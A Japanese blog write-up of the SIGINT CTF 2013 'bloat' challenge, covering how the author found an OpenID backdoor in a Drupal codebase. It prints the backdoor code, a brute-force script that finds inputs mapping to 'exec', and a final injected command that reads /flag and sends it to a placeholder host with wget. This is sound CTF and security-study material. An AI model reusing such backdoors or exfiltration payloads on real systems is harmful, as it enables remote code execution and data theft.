SIGINT CTF 2013 writeup – bloat (cloud 200)

CTF

えと、ブログを更新停止している間に、Epsilon DeltaとしていくつかCTFに参加していました。

  • Codegate YUT Preliminary 2013
  • Nuit du Hack CTF Quals 2013
  • BaltCTF Quals 2013
  • SECUINSIDE CTF Quals 2013
  • Boston Key Party CTF 2013
  • DEF CON CTF Qualifier 2013
  • SIGINT CTF 2013

はじめは海外のCTFの感覚がつかめず、ちゃんと解いたような記憶もなかったのですが、BKPあたりからは少し慣れてきたような気がします。

今まで解いてた問題のwrite upを書こうとも思ったのですが、すっかり忘れてしまっているため、一番最近やったSIGINT CTFのwrite upを書くことにします。


bloat

SIGINT CTF 2013 – bloat (cloud 200)

この問題は、PHPで作られたWebアプリケーションにバックドアが仕掛けられているので、それを発見しろという問題です。

ソースコードが配られているのでそれを見てバックドアを探します。

配布されたソースコードはDrupalを使用したものでした。

ということなので、早速diffをとってみるのですが、様々な場所の変数名が変更されており、またインデントや改行もめっちゃくちゃにされていたため、diffをとると何万行ものダミー変更部に悩まされることになり、バックドアの発見は難しくなっていました。

そこで、PHPの構文を解析して圧縮してくれるphp-compressorを使用し、ファイルを圧縮した上でdiffをとってみました。
(実際には今回の問題用に圧縮後の変数名の命名方法を変更するなどしています。)

すると、何千行か関係のないdiffもあったのですが、openID関連のファイルにバックドアらしき変更がされているのが見つかりました。

10
define('OPENID_DH_DEFAULT_GEN', '86');
211
212
213
214
215
216
217
218
219
220
      $discovery = openid_discovery($imaginably);
      if(strpos($imaginably, '@'))
  {
   list($user, $host) = explode('@', $imaginably, 2);
}
else
    {
     $user = false;
     $host = false;
     }
247
248
$user_enc = _openid_dh_long_to_base64($user * OPENID_DH_DEFAULT_GEN);
    $service['uri'] = drupal_map_assoc(array($host), $user_enc);

drupal_map_assocをみてみると、array_mapを使用しているため、$user_encが関数名となればその関数を実行できるようだとわかりました。

そこで、実行できる関数を探すため、以下のscriptを走らせたところ、execとfile関数が実行可能であると判明しました。

for ($i=0;$i<100000;++$i) {
  $user_enc = _openid_dh_long_to_base64($i * 86);
  if (is_callable($user_enc)) {
    var_dump($user_enc);
    var_dump($i);
  }
}

=> 結果:

string(4) "exec"
int(93802)
string(4) "file"
int(96141)

ここまでくれば、あとはexec関数を実行するだけです。

しかし、関数の実行結果はレスポンスで帰ってこないため、wgetを使用して、結果を見れるようにしました。

色々したところ、/flagにflagがあることが判明したので、以下の文字列をopenIDに入力して送信し、flagを獲得しました。

93802@cat /flag | awk '{print "http://xxxxx/xxx?key=" $0;}' | xargs wget

オチ

最終的に解けたのはいいのですが、実はコンテストの開催期間を勘違いしており、問題をちゃんと解き始めた時点でコンテストが終わっていたのでした・・・

結局、ポイント的に今回はチームに貢献することができませんでしたorz

この問題のポイントを獲得したのは1チームだけだったようです。
参考にそのチームの方のwrite upを載せておきます。

SIGINT 2013 – [cloud200] bloat

個人的には最後にncコマンドを使用したところは非常に参考になりました。
なんで思いつかなかったんだろう。。。